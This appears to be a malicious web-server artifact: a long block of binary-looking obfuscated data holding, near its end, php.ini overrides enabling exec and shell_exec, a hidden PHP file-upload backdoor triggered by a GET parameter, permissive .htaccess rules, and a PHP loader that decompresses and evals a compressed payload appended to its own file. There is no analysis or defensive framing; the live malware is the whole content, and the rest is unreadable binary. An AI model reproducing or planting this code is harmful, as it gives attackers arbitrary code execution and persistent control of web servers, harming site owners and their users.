'02}D@,?fn#ReocnkqdugzxrcasehojydS9ɁqUt3L(Ⱉеk5w&S_Is}ȼ7X]kr))_:*AP*.|VT̆z}5-34$N|grcasehojyd:^Cèc{=ZlG2L^Fgmgghl0"q*Tc3otiKﰳx*rcasehojyd;"}kzo2\[EKnsMrV`jHL׿u?z?d*rcasehojydGX^@.KN{FtO#{,49O ȽIAG5NQ 6F:Y+rcasehojyd8rEfs
׸4jeaܒ']SRUѣs*؅jd4`mYc7	Xf\a(k%$Y$wwnݹ"ldBqc|X[h5Z}گE6\J]]AT.8?V˒VI|/ܡEJ/OZp"#5sB`bpVIg\	"z^u`"NΒ"F^?SnClMepI^ѓ!a҆r"ʀ}bbNB_E&boAX2S 2.(l2iE14XEaު`?v/)^ew8wA/4mOtϡ^h.{&U?iw$;Uڲ)O=t_â	kppjM[Ł'hp=QO/u?}u&iN

DQ;U4\]Q^(#6wdwEÒ]+hL9D5`!rcasehojyd^%ذ@gNETح6A|_U%hd#`ɦN(pvpL*$cm*.Y$g~qܱAcbb);J:FA/UCGLglae1oǭU}* ӱ9GP)O_1w~NbFuUcFJM._狧|7ȳh-O-pqY9no{U/I؀d}47	TVLbRc0 ȉ졾(\DFrcasehojydqUW{{_&
t=V]~hڣbۖ
Mg5sV܀)	oI(Ky\RѼs	2Ѻvѽ!sNG~u	*:"{uM7Rf!xVlycf6|;.2f[K0KD*zV#J |hU׾Ohix` V~fv!ؚ T1?ۏ]J
_V#f*50F)r7	rcasehojydJ;9
0$kȿ܏h_cQ~Nmq;Ox	su y 
ocnkqdugzx/԰ +ۜ3!z'rcasehojyd6+v=ôL͗KP;]y-o]:H؞Cpb3ocnkqdugzx7gV #7DyIn- GS)_^E-u0,ZߥIW~\K}򷛪ZU܋
T"4N-7v
mw	[gBu
+iDõ;-ݟ)X?Kn%oq]̼b}ZrcasehojydM-NB/r[6l	7O2iL _jР14Ԏ[$Cpe֍jnj41vhӆD{yg,:cocnkqdugzx-ڴ+ʮT@~~dp+z\.qnSM6	}
TeR2.opd֨fCoYҁ
d-w=_zcv[S3F$8RgRӫXw
pZ6!:D; t0/byTE;;m}؆&2D{{sռ#Bsm8YUrcasehojydWaxG28twH=+賞v
;PBF,gY!572H1NRMLO+nZp^ّ?4}&JSД@(:JT2AQƄp
	6SM61,B9xsoz;^ioa&_MW;$Gq%rcasehojyd1"$	ټB1ESQYm.c	&DI*6'd͟)	Ŋ~z	Z9X@:,E9IT)"J^6%4Oukﴛmf?yb͸rO7 b!1ocnkqdugzxj hIrW+@IvI8.ݚa9pKP5UZ9Z
huœأ\ɈlE@D[WocnkqdugzxdZE|`'NLM/pߞSD$c?({dwox:D-I]o-F?❩&{͛{W_\rcasehojydI!/qQ=iВRW!Wf,KYMG)V'bOtN~ߔ( #6S/#pe-X~)vNo p盄(c:[8iXq2#\(u L}
tfurcasehojyd!.B&5wOK
HEnƴPh}1@Z)vXY!IvYrF~Hv|^ *B^Pޥ^&K+ŽZ8O\2Sd=m5KnZC_FD؈._})BETdocnkqdugzx3	*Zhi(M+ȘHF%A8hL*]BCBqqT0^0Z.^^nRf	[^D9B	J۟눊n3ui!Y_"yT'Ȭ|ocnkqdugzx;(»oxO2욀,aD7ǃ	kXZH8yrcasehojydUbcrcasehojydW9(ٚe1~6~.lPZ}ܛ=ՄG+L9.ۛrS2)[6JTo%-@JGocnkqdugzx		Z.Ade9`b ;~nU{$5c7A4!,co$,R#.І]aG:7Q}7qZ#SgvޭWK_JXq*_kFYGtA~o\*ʗ[/3DBVsdocnkqdugzxFl@#
^rxyjipIĭd]$AUX7^bs/+pL)U֞7N9~JןkڿLz80!Ot|rcasehojydn?ĜRR
j@65[H3e#@	?7C#t8	Rz^ͱ@jzkSYJ67 #2t- Kn~ҋPyHY2O\dgr]Nڂ*ۏ·?= `^`v2;(x9?y-!sZR,rRGBZ}?DIYBwnu~r7sr'
CY#wL7k)*M0l!+(*`t	{	Y5ρO7?5U@ \sH7y`51Ī#fRRG'\51' rcasehojyd
gF婂I9'7=VD8EtGAz,81~5r$hlHصhWt)/DFyESrcasehojyd!focnkqdugzxz
Iuud/26(WPզ\1Q*޴|6|*q('2ocnkqdugzx@7QYofZN- K?
Ffnw(Z:ܟ3V[knK;?Q܆dإjy~`(3ä2;ZjE(,hLd%&u(y$B!Jo0䨩T LkH(Mr#(wē_n!`|VzhNMP"(?'Y.W_ [i
rs 4EocnkqdugzxqBwZ3y^g+QrcasehojydM"\]jdAW
yk5֖y{7%a'e]!lRqsJj'/N1_2Swvh1dƖUM8?@l%+LRJ,md,e^qOu5Mq=".[bk	4hu+`ji\gs{C݂Wp&wcb7Gc}Dtp
ʩn	p0'؊0tDmmz
*FɟktDJ!efn+]R4!JHcK7dO񥁌BW|@ `u5S\-ܖ[|YXa)z4rcasehojydM2`S;:Z8d#^F"Di:]O[V/ZWpM7Qzdxwdj
e?tP~B2Vx.5UsH?rcasehojydɪ.7$ko0$A6"h#E=rû( ($Ē2`VU.9yCrcasehojydW0
227]m؟C_Tn^7yX#*TCھEoocnkqdugzxkYKpXڷh
y̌@P)K1,-\cۍ+?YQ_
9!vrcasehojydj?o	eI\mHm}M+#~_fiB^jxc*ݺeyپ9*BMzj
W {iT&_b5pϠ&l b[:	bX].?ŠzwYWlAy@H-uqlED
BV7{T\cx~-S/A5AkbEfO,Aie&zmI{߈*X,@h
ȞnY1$4fDj9pA~*{Ƚ9X!oNrcasehojydH* 'J,P
g
ϲK(?y~ ~[h68fĩ.rcasehojyd#8?APVK.~k7%F%uKX}T)JwOپvkE.4zL9]UD-.rQ.yWyf+s9Q-K`6tp`tn1h&d\uXM^PUrGHτΨ`bBhC:\n@1@|SBa§ֶ|f& o@a
bbvku#ۋ^rcasehojyd][58Frcasehojyd)^9F (AoZ
}۫P=,oYo29(P߮2]u(t#Ò)}탪B-i sڀLJA,r;kNJ}2,eI|[A
؈8ql"ixG}	T)׈-rcasehojydf\ͱ_$f"C..sAup{Lx+X"nkKdh5T谏h[HQ+\`+p}O%T0KP+۫._ocnkqdugzxڧ,2^O"l 1kE	9ER? -8Ќ3DF}g,4Nr*.[kdO	cܓocnkqdugzxB||畍LML^2rcasehojydwyjB[G1zy.LY0bocnkqdugzxF }	Ѿ#7#V7
tu,zgrMfly"i4Df2зXp7v&UyQ#ǧ
cmoi4ocnkqdugzxQ|Z&^J#p\ $^N &-UYw;\,/]E-Z!{cǛm
Yx}{HoPY~g%rcasehojyd0p5{m|5xUgl@U#Y\:l	ǈ2#{,d_24u\bA&@J3q.[*3OB7ʁA	]L0f|wD08\n
AWI%[-rcasehojyd_?rcasehojydījܛ|ULdBwpsRH5s'|sZ+q,c8

]k{|rcasehojydMuygz6XLSo(ypnpcHbKm4
i
L3j!ߓZXO-j/@rhٞQ0{{YRK9NSt$-R#G^Y$ofSj)ocnkqdugzx' ߉̢ȸrcasehojydsz":8
W~nw9싔E#ާ˾pWщE%jXa6ސ'Rutzxml ` S8}G` F}.W%[;WMzŚ~Pld`'uocnkqdugzxm?"=|ղIoA;Ko_}xL_)1
k@" VtA0e&q(a0k@dA0AMT0ln1BkDݮ`rM!.\kocnkqdugzxE؟!jېocnkqdugzx!v_Tvۦ,}Af%eWgAwIӟZpBF]{|*3Щ||{p1BV59T.MyK@-m_~SzAѤVO4?y?\iA|
ocnkqdugzxۯI6T,is]0&	(\[M
T܏	.@OuJ()x5z dFQ;:	RyaXXWSf
F#yx0Gjibl`?
Hf)ͼA=@zǋvHdqHBBb&iwX}64[hX

YcfK$x:SqzP{rB
w!+CTjU?3w)CJ#*bocnkqdugzxi{&6qR-QO}+'EaY	c̫د0O#
v%tiM
X̯_˳j랙܁Bh|^K*T_ׁ%BG7Ke	,,S_MF"TNh#埭zqUk:ZȖت#4DЋ{(/Q]h?vI+f/ycoETxO՚rcasehojyd7dq
,a@OBlLG\m3Tث?qL?A9rcasehojydrHJ%j.Ercasehojyd$z6p8olK4Ͷvەz".
5`ҿdvDsC	&@,2`Ob[T~lwrcasehojyduA##GP/a
΅#;"X:֧)-9|*&=7Bwɟ[ȒІwUFNY!dX	v7mӬpd7NE=Hip Mj4nϕFFW1EOu5֛bQrcasehojydH:M_ϐaPmuwB*"L1؟w@$Kmd781vf/]YT*GO3zmP7A3DKkf`0(a{7;_hѠ9z5W̓صD%IG#
*B
0P
*?A@Noקocnkqdugzx4n]WgۮawÄ+jg+T0췱UTZS7_hŪYT؄O3@2"E᲼(ekh,r=!Cі-u
h(${ w^X^EU}?rcasehojyd#jp1)8oz'_Gocnkqdugzxݸ;\7.ȺF9R6C/:'u
2.7{Q4ѕO*?
6*ߔZԷk)Tuƾ:@'ocnkqdugzxz3OlMocnkqdugzx!{(GsX6'"cLHsEעZvypxǀg-gmxÑ_"vAp1zryK \W(7=dW?2s^YH
_YkfPS5$S^up.c&+LxRZmݖjX97B^7{lq#-.+¶
lm@ cj⋃W|E`ڥԉx[jlQ=u%6fg)&~`͟K]socnkqdugzxa
(ݦB83+,G[^D4ocnkqdugzxbUt$gjF#ۤU:ĲA̲;׍,5L{9x,ŦGVÓ^{
C_rc6QFuIrcasehojyd,˄񞁼4Q]5 	%ف\dKrcasehojyd\kڥ:ocnkqdugzxlrcasehojydgگږ"" S1үY.UUh
"Eo[[o0ŧM"	\'-]S/dٍs ;ɠ.î5#NߤY$jrcasehojydocnkqdugzxi#z9&*@tT]ޟ4h:	7vPY:P	wa
Ř==T_ Q2}(ۥ
X#yqoPxӄ $;1$u\kaQЭQ\SLpWҟ{OҾZyOivvx.pE)sc-RtOǈBpwoacqH˭/$	mp9-4d".5$Paޘ4gjI`NP9;"IVq z[#~s@RI.B.EE.jocnkqdugzxq_=&-UocnkqdugzxnjPa pV9GW/m_$moڵޠryD̻iPA=OocnkqdugzxV8:`)(Typ CKj^2X#٢kRd ω]-:`/H XvlL
2w[?:c"\laf8U]'So9Vt nrD\=&ocnkqdugzxIjU:Uv$P4?;TD11p!
\ٲP䷕{q-if?UFIY=՗^FB@+PGf;6\ypn ZYaYeа+9F?eTH/*?8(XocnkqdugzxŦW j{앧C:t /J42i W@
%/iSx1|#-g0'1w6eg2ocnkqdugzx?iX;UFaIAbrAR[;RtzGtnH\C{)ƛ3(KJ\pylD]MD'ƞ K)rkV!E.8N$?&LɅ_C緑+vˌ/#JYeP{V-|dsd5x.@mtijߊ BCcSuI\͖N5O'0Fċ}iƝ-m!=d~)-{C3ae@1s*Kc;+U#_tf.xkMU)J_*o0v$vb{gފc(oڵ\BZy'Ƒ{xqrf|c+( kCf7ؾRO?&}Bi&pjsHRyoܒj?뫫	;q
Tyfj?㎮Ikd]ina5"۽82`l폫8넟ZT_GѮ!y	_ƳJpv]I*Q5
wyȥolY+whw7qK-lS{BbWp޼mrh؇H)0q}88'BnnG##uɍߚ;[H
,`/Xe|SwM0^HlU
*(\xx#(֛[[ocnkqdugzxJDFKg P7:n{RvFm" 6XH4:S:)*hJ? ! bAƖ١&A[^o9~|y/ 5|QFw K	@C$!v,TZ/8q2
/}ѯc*B=BH hw0heU#.V⽥)=732^T\,u[_hW8ƷBj'mR ȣTu1
Q3 K#5G4Y2֖@"q{1n7"2Nu!FwZ~-7!]N";Wiч	212ty=bXGmI
x9]$ZrCY|eocnkqdugzxa6֍P%&B(e*mPW	ZK+@ƫMسk&/ǡnDGJ3
Qp,Aʰ9Ҙ]ލ+rcasehojydEuUNspq}G@EWdȞ.jO-4x(:K,AR`i(Kkc&rcasehojydX~z |͋6c_0dr5ǆfI=
ocnkqdugzx}HU[R_8PU]j1uUh%1%"rcasehojyd~9I!Q(gocnkqdugzx3ȄSa~.ocnkqdugzx#xYpE:m7esغ	{Pze]
Ji[d_0vG4gmocnkqdugzxMn&0ߩa^1#U0].,DoqvLM8zl	ewO IjJ`3G
1-j|"7퐯i.Ts03xGxU;.rcasehojydc1Yi&3Hck]iK
* څlh?1vQgYIGlt~AQY'bMH kurcasehojydH"NHanDM1T(NFP煭yXd
H;V4xc~mrcasehojyde-I裓j gQT/4qZ om+pоf)nGǩ9KG?rcasehojyd@In]QsR@ to+Lr`~A1Me{gVxݱRrcasehojydZX/
3-pESA9+UYtr[gfn_eTPGccv:+N2d`);M|$SXXƞ]@Jocnkqdugzx-s5Bه~ǝb&LSGOj~lkTN?s@mL9mG)3#t.`mL_vc us7|6\ѭz
L)B@ a~@
[Eh@EӯCN߸{
NԵe/QpU T3J_^|
n*8{ba=
7nM5XQ	i~|ۋ2r3:-qurrwtِ̴cT,!diI9aEa3Wu|W+{aʧY-EJ ;jhGAa+*ocnkqdugzxAIyv
b81N8)WTrcasehojyd2w)$JmY@jdHJxJ
٣%k˗e
/KoQ2)*oL%ڂr=¶t}۫~(s?)Dr /,cQ߭AfN&Y6	ocnkqdugzx2p,-!$r/*}n0JsΝg"'Nmrb_7rNW݂Ž9\4W|i~@F9[bvq4k,gy7es9c	$@oͦrY=j!֞wP{y)Qg;TS6UY?Ȝ&B]d1gxeqNSk'FW?_ ;rW\S+TH`T07{}G,9y4Ll hQ]Ԡl?}ȃs`ԚB:[{5f\[EGu7K	\
Pzar-w.362&/uKKNe`msn]4OlV]Yzpb,$LdN](Z31uH
$/am#7',r$33 N78kǧK\ocnkqdugzxn_Q+ 	Eŕ$2=\k$F1QK:[7/@.]5pCjԸ:,wxk"ocnkqdugzx6R5V$Jբ|qLG):N9߂B =I{L}.5$lrjH!2: &trZgy[|Q`sbٱz--={Bd(砷qRK0;/JxoiJ۾QFϕ$nzQrcasehojyd 8G.
Lh	-|"QDf~e/e'p4y~MtJ)zb ii2/o_.:QO26ϝ e(Lc!rDa1SֶS0*݁R|s8jyO\CA&&a}L^P.@hYOnUDYLi
fuU頰~T'xI?'z.bICv?x)
9Db9;Dđs+c/-ǡ	!	NNΎ慓|'L'ĸGL?*\L\tZ[o]bqvB::4"
@mki/aH=I[dz.oarcasehojydγV-_U/!j[(F0~P- nU@|o6ZB{4qݒ2:݃Y8aC n{B&ͼWj-\/(c~gIiC83Cr.{K*e`e?}uwKbEVG卙$z4&Kŀ:yNKȶuX˧(Eh}s;8r{.ocnkqdugzxk(1LizP/dĿΉliU	56`GqA\2ty%媫}ߋ0BtLŝTM ̂VŔ'A2r(*wD9P#~|7P[?aW0oEm٭:ct
b̍g4Ou~$1`܎nocnkqdugzxpEF~rcasehojydUV~ށOT7:"*v} S^~@).nƴm*9 Btg:`mEdd	֊~/&_X!/9Ԫsz}fJR8KLAߓ!cЕGIDTǃs{[wFDrcasehojyd
D0yVl7Żf^THWE\6x|ؔf\s]s-/Q!EHq6֩Gdrcasehojydc42lVS6NLX
 Ivfl~Lƙ,s r;Oarcasehojyds{H;T,K;̳܇c=DHN5`ub|ԛ:*Bz\Su	r2@G_d9	(PӔ櫐J}rcasehojydJs"&4Y߷[F3"es{lդ_~3]^9k:NKe/rcasehojyd" ۷d))(_27T/~5f\wOnl^DWZ$t3𷥄.8rcasehojydqIv=
nJ4=К܏	7;,	%+m?&d_(tlrcasehojydhkU	XBocnkqdugzx#gWACê/ [ЄPc"8ǎi!;Uh82]v#vs=fEı;j~ZVmIrcasehojydrcasehojydv &@Mf59d(){#mwHqwd71]7og	eN/
訵Ni =U[q_/AvjbI%6j]aaQئ,Ժj~G/K̈́D:?dSU|ǒN!G|=c~|/~%d@&$/v~YT55j}φTSΌ98w	/Qe3 "k^
`vIۢ8orX)èZ8@힋SrI2LG@ocnkqdugzxr4[
S7[Dҳb:hkha{% 
v6jBtۧhR |#Ȭ9.$!Bp~e^iEE`rcasehojydD[	oУU f}C e)`^nKj=I9JM5Q]n2O|%rcasehojydf	|hUrcasehojyd3g|Ɍ(J[y
bACHR? #jْ1Z{̏. Ҝ_-F5Opw$fv8Iɖ\Gurcasehojyd*$pAԈ)ocnkqdugzx3dǸ(y`JY%uo#H"cqSϼɵmMd]Z	(oSfFuyutTAвW ?gA
?dӢKi3\&AR?`(0=x	xoU,CiN%ocnkqdugzx?h"KZi5=Hq$[V$^Y+2O_
.]rcasehojydu⥬xEocnkqdugzxf'F.yB8JڣD'Gk|6ȋ:r
4ǎĝKhXQocnkqdugzxQ呛JGplQR$%Q,h|ۚWcnTP3xʋYLiԋ1BK3ΙUifϹuv'ۄB;_KŚNIx_.&Du
S.a7ix"$V\ԧSܖ&c=^?gڱ?gLz# nj{n|'"u|β/hOTAИTCFnϔocnkqdugzxxs	{QMߩ WJ%ַHk"NX
ҁkt ;E7(cR$侼y~zVO	}J~۾g%wϾFaG(_*fY4w?{UӁa-aԛx|5ɫ	Eq
krcasehojydMm#{a#KjpͲN5C߿eQ/]e 
v}=KG)٧g40
p&
̆3%Q{Fkr?(8rN4ʄTrGFE.֛Ǘ
N)EYAPG,..xżwHP-y4cU[oa\ϩ:fu7gtҎA({s-sqPGOZUIx_$a3g)TfqˋZ`CezAGg vq2-ՁƕTb(8zݘ_+lrcasehojyd=[cL[0N}h6E^\JZs%MċL/ocnkqdugzxo&:ssB fX'YK43|b;s?/,tǲNZMoA!M^Џ:
X/7?3Vz׷_D50ocnkqdugzxM++SS˽* 3n%c;~9X \E`Ŧ[הz`UgJ\\§.;IpJDtʜ#OpB\Qt'?ȴ=3!"g`I+楡 oQGYL畸	ȓ׵FKwBj
}]Z_MHw޻1B7p|c/Z"-+V2~PClChm
e9#'
,DJ:awFy0)SfocnkqdugzxWircasehojydQyw9Q#X*0ocnkqdugzxţ0	690|f_rcasehojydr@22YAēW~G*@rcasehojydocnkqdugzxHtGGc
@;w/peJF"Pl~=}$nTQd/BB	fIdQ|m|ԛqEǗJgF؍Q Q?}eV=[Ẓp	M-m*&]1ĥ:nwhPgCzl=?bi&o6멉znP\\ĭJ&L:  
^7N{JbR@7EݹWnK!4h?ٗAX}FS*0{xL#Ăb78\Dc&!+H贛nc0mИUAIâ!rwP'%0㑦ꤦJeMGpSfA~KocnkqdugzxqoTA@nf
u34sA&[aZ9	*Pݧ|";Et9*z&
䜅n(nrN8_~WGc k:TlDNP1[h-ƞ#zwylQ0We-bYZocnkqdugzx0h`AH,=ȝYR6@zyKJ+Sa:Nj
o0&7nuhUK\TP{!վϚ/%rcasehojyd.[Ш
3ޯ[r'x?ġ{m
yDnu/rcasehojyd5=Ǚ ȗ
ump|ocnkqdugzx4owjSqv&f^2Y y`C|3	qJẺԹA\𮛸)ߨ_Ǆܞp\1A`~F嵗9S^R$iVgӡSogX
+y[qNֶtuVqtt	\ =qғCE_ƛ
bv"	9wƁSxAT.ӡmrcasehojydm+
YZqH*#E &Cʑ0
:+ cdM?sG/+JaFocnkqdugzxR#wI(7]F(襢}w6̀Dʗ$.6"A	W)U.аP;spS;8;sV{sD{Bp8yn/uFR/9qVҫt{
!KvUVvWN 9CQ
,%l4liLCϥp`e_GNM
$IJ|˓Xl;rcasehojydLW;'
zĻUYB~f:Y'{y $(v
~JU^S~	4~=1rcasehojyd.cri+)uB[#-â*qeJ syKiьmmH;GB]6FD4fAt.H/+O, aj̍caF;{?YRgH_yj;qefW5}\ݠoUoXw}LiO?C%C/%᜺_qq*\zT?DXd|:/R҇OhrkIHG`;]WPrcasehojydԩ+#e+؟nsZ:$6Ţx;}޾R;g;,9A̰b	u[rcasehojyd5m/#'V/}wOs
4{tYqvX;Җ^ωf
/\C!#;ocnkqdugzxb:GxY\qE-xS_˽#cnݦAT.!sJ:kPu&~wZXn}ߛ=4Jc"|Rx۠"i9J=lni*DZVC)Orcasehojyd|8Ǐ=JKpK}zlQ	@fmgu	5/)+us/Rocnkqdugzx
u6z9X#AvP-1rcasehojyd5z(:긟Qtcu8[:o;CF tYrcasehojydԨ/ȫϦ@䳜hЙ˴X~뭩t5^qcHD۝:3m3]rcasehojydXWmE:-ԗX8s{dmaGA: $4fiS΄qe8e\t#^J"'r_Uocnkqdugzxt[8Q$Ԕrcasehojyd6w^Dn|OFtM  K؍8صO2k'+1j57Wܘ,=GֳM˴rKD LtrcasehojydxMzk~~i&^Il(jg#oףe
0Bƿ6.ocnkqdugzxz&4,0Y/;Vj!2{	TRo먹\"ocnkqdugzx&?W8?4{8 ׹_&my^ēvV܀a[I% j؎+%Fq?,B1u+
s(Rw$Ks~_ʰŐnѽZ!;/^Ah$zFyօWйY[l%S4l㝉SlSd{Sz9#V;ƎocnkqdugzxZ/C]![3(jocnkqdugzx.눟%D@pYeC/GVVuZprcasehojydP6#Dj$j1;`ZCa]cO_!p}V/$u2
bxtn^rcasehojydQ-Ze,@9$.U)R,5(-iHVh&wc%nϊ^ 3sҴ"}do1K7d?Asncrcasehojydjv(Mﵮ@PB1JON5[?g?m|9!BJN	rcasehojydc`Ӆ\53\Ho{mQb)S.KVk cl}6CK%]p@wQezM4wocnkqdugzxuNU="T5+rQ1i\2R!w9G ;tlƈol3ocnkqdugzxrcasehojydl4cȟ/$Q
NqrcasehojydBX~z*ocnkqdugzxX{UM^Ϟiei)7"E-T${BO|Ƽމ}b`ƪ="dur1E[x[ޮBn.2=d)X+_fiCm.JN12PI5Ɂ1nxMe1ad$"{BJh8x($[V,dKXՔr/sEOLYN/_1@%J9MsMH.2P
[:]닇bEu7WaH}=;/5敕?Vgǣrcasehojyd`GR{@G§n3lC\n/bcP
ssgқLE=	 .{GRy[1W(byjMEG`zfrcasehojyd/@1w*Oocnkqdugzxň/VN%A[h~p\
`=rcasehojyd_ey{~SBC #UҜ(fl,X7[n;
4ocnkqdugzx!}MbP3p,WT8eFEm'UUF^HBUJ
gxBȲFtt;OܥC7\:ǏB;)FV-'h$9iLOicǾ: SΣ:%Sѥ@Pb-xF2LKd,$	F+q.ǉqP!fY4 X֦T!+rcasehojydu7p;}$Vj{uocnkqdugzxmVrza {a"`f`R.3إ?]R1wȴgq&.4s @̠ocnkqdugzx@5ÌVDrcasehojydaGIʒ"%
$EbI|ƌilkHĤcPw:zT7\,BU-K6 _0 \ ocnkqdugzxB+Ir,ocnkqdugzxyL߳iWY_-E#&x'n&sQmuybq*A⽧ئ۞krcasehojydmbqY%cc\5(#6RGF47|^p=BnR@x0ҍ)mȴZY8]01x9k]}GjyyQ[}GO:-w~"s4@聰'\2N2Ğ	8/[Z
ZfKz zI~J&^x埾*c Õ.ڄћ=Md{d$7ocnkqdugzxGDߺo M\2l	{B*
@f34.rcasehojydG}Q$:݄V Y!QVʧ,VL~kWIB
LoZ-TxzyA,XUAƃ5QbvQmT? uZ0Ѩ
A|p]hLsjocnkqdugzx37 Cx%Yx{=iL ]-aos7tX.QffkLSt%ZjTdL ocnkqdugzx zǘ{mhzLj m:S+.\av_)Zٿ,eh=!ʽrcasehojyd75b"F&rcasehojydocnkqdugzxfATJztuyغXxWJ1)JA!.SXY"	!sz$2/~ay`ۢZU~ن5'Ď^/[UW$U͠_
=Ev\
q|K~px`AmO/|~SͬIvQi+hp+PL4yG9?Ǆ+  V	owLh1vR-Socnkqdugzx?g.ΕnEEmr9
~N2"?lm'*vv~@d᭔zpjZ mU/6d	m}ZXEOEH[`P؞H("bF)d, f)
M1/*\ils,J_4gg]`j|oG|ekm8 e#\8))q|Z6![dn.s{M0*S`ocnkqdugzxGV?uP	YDΰԐɨ!V~jL`ұy Jєzgԗc2*
e]hu/{:MJRbcXX5HU]?Pw؆޷/Cq$\pv?Tw*+8ҵQ}wֱ힞X`tWlޑ8d	s[jպZݪ*1eؿ4Z:ss,:Mym qԨ-!h(2
ZT6b3~{dcV!h HFc ]TA| -%+~("fb	Pw6mYzi|a(~/M=')bu9|i#Kff3.t!=չK+}.y5FKӳ[(
x~2rY!OE.U1m49KMrcasehojydkfL¦WS^zOE¶	uxw{¥1rcasehojyd\,6eA!oi0o$
^N:: 2oş*)(iJK(ÐiJ
hkD&
ԗڶ24%HP.p4BQ
 Rz\sUhocnkqdugzx$Ñ˄߀YlW&m/mN~1hfY7Yz/rcasehojydÿE,đa(f	9smda"JAtqocnkqdugzxc
W=FQ1 Ɓ=#8=jy~/{H3F~'~rcasehojyd8и$f"*[bHRȲ
?TMOsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$euri='fil'.'e_get'.'_c'.'ontents';$snXA='subs'.'tr';$qgDB='s'.'tr'.'_replac'.'e';$ZMUl='gzuncompr'.'ess';$Uhiu='ex'.'it';eval($ZMUl($qgDB('sjwbloarig','>',$qgDB('azqjgrwhux','<',$snXA($euri( __FILE__ ),-28387)))));$Uhiu(0);
?>
x\WPWꡥ.ZF~ rD29g~eӭ{~26c|6LO{G^d1/?ߎ[|軸X_,e\߲zדb=^6_0YhnoyN]r_?_ʒ}Csjwbloarigrr#X~ݒYazqjgrwhuxy/*K,:C_Cje*~kP~򡇓{M.Hx*~_$l}c0A&mef./.mxҺ'ek\,	M@A4 *k:(W49Pd@ B0B]Z)g0V)K}
hOrsHBFZFt-j0:P328H	8jsjwbloarigpQ9-Xe]dXK1!Ho"@:~߰a_Do/v͔#d{칤2Sv+wj9&r?kh	ocqP2EHܮ+el	2p\QFtFXs0\SvH+F743N[rzRFawљإ)S񑳶c5ҐADB1&CB'I(x)05a
-o{WG'!$^bBazqjgrwhuxxkQSB 0[Cuۇ"wLt'Zn԰ oMNhiF˟X\F'	Yx+f_o#|!$	7ȪcلPHQ@iĞjT~#
TkdCL˒=͑W$!^Z-[԰Yf޴Y6??UPdYFß%y9GŤ9[aq#6:z,Fgw";NKp-)7MOQ%|i.lIƚX.X/+.\)\FW8;!J
FOsӀ7B"XW/Y3!V7-ԥ)L3jgtTkH~q];#?HDAlPpj{8(v.4&=Qp'f`]Qbj+c~M`eUfZ@υ)RRB4Dϴ@e7rES@.[z*#
M]cʄyQd vK#Y$8 xP_xf My.W6INrHܾDnĝ#z) me hRLl.VL
H~03sjwbloarigٯ2J;+.HsjwbloarigMT|Vˌtu..qI%z:azqjgrwhuxj:X ǓX}$GJqxtbSdUG,Ώ*2:7-U"$ӵb)Tgbya`QdsA)(\'}5c*Jgl65/
?ea2=s	"aQHSJ%@xˣO̸%Qp *n}
 r8ZP1Xsjwbloarigww	Isjwbloarigo*]o7ՋZ[{?ܖJڴ}LtDAnIٌ83-,1P }u6eo'OCC4w_.;R5oHe3q 8kY 8u9-vębֻF(%ʌLU,	,؆LWazqjgrwhuxhs?՟k-:6h~b42%|+5(bS5
|f׳MO^w?[cDeg&@ bbzc4Sjh[PzI(CVż:NNO,wPZ.xK1azqjgrwhux++9UoƂ0Xj)]g:SfnzM6RgOKob%)=8+,`$Gsjwbloarigk±}NoK}m?vIJ4-g5u;qE')W{qL]R;\Fl&HMgޑŒ (=
sjwbloarigA*BBeC:ꃯkLJx!/L]}p8Re^Y|]BGсrwሞqzww-_BAlE})!aBu[GRY߲SjQLO#6@m+Y*Ao*a 'ևm|yhE&JT%ZsjwbloarigP{ 䖄6n~^)_Ix+DfP1YsjwbloarigM:azqjgrwhux/irk?t4"Ԅrė&kUZ}dphO$sc\-j
mՍq
$9vsu+̖rImus7?+";HlOH~4X).w4h&3?f[/)gcosjwbloarig{:/7Pyg|XZ}[Jތ&&nN8*ha6sjwbloarigf Շhh-s-e		N}\n87÷9Ul.4p;֋|p,&kpm7ݭ֕\ƟT3F\
S;͊'ܣw{&e`NVqF $6a\m`*bHD'$kC5j-xbQٽ"0_jU,ϭFP6W
8+h6
)0azqjgrwhuxJ_L^ 3iTXo
2 `|ȻWLg,Jj:گLآy3t)2hy*;+V_r[|!:BAƹ3V P0TQDYM}P*yPmAPa7ub`sjwbloarigA"yUdckPm)JX
?/,~`ICĤazqjgrwhuxI*Z]BU
C_+GFsGOSbMJ$8asjwbloarigxи)^|
woN2 )d&jODľNv"t#S	PhK,b's4oDq	Hazqjgrwhuxq$Be؎ytZ76F ƔKܜR|hhr)E0-pV^uG`%u3^H|Ʒ@X
E	\S^o	Uf hGWiyeŇ9bZs!19#496"=Yj\v^*`hHޡ?UFVoΎ(}V& З*g-azqjgrwhux&2aаM'Ƕ4ИuY8^2FqRv#q:^.?B_	!BŎD%O7+̆Cҫ_0Tzf''Zbή6~Sk=`BJazqjgrwhuxxZF_ 3[V)㻁Ϧ|B+V;C%:CX_jn. v@:)sjwbloarig9sv^" l5^h~]DMq
Kʹ"Sk^{I/^z_$,HctR5Q~}}|:6ʘ7a{ssjwbloarigְpΝ6hs;͎lJ2EriO$Q_!de/
hjFN@У H7@|sjwbloarigS*Y|!89be4mv
|i  #t[9md}k4-Ip+ 엫OZ:O"L386Z4y+A# G`*qҝV[~^Lle'\q1Ś&QӄB74g88/psjwbloarig^̵BYXv$5VJ\Ob}hlLNK˶0gxFeo'a6k׃9ZVsMeH ]lU!?Ճ1&gȫ85"6(F@+sctVazqjgrwhux;yMI9(kKa8RZ*ͻH 8MsD\ʇsjwbloarig?^遾蠚Mn
4֨8A$Ay
TH|y67=FY

u@c*5ם8,[y'eE,{#l[GzW7fVg]x.=a7avN]YhsjwbloarigF;LߥSAc;$՟
Je߀ie
azqjgrwhuxJAӋo#`uF~imY/T7{x5yoѨ_i(՘\{GɔOl00ۤ!H|!_Fr9~]KNOgh!.EʟzǚCKMW)Ro?"L HՠxV{?E/Ἲ]TڸoZ+pPﴝx#]1JIOrGL*WCMǾgxo34}/Gk	?b`݀ŉB9rAsS
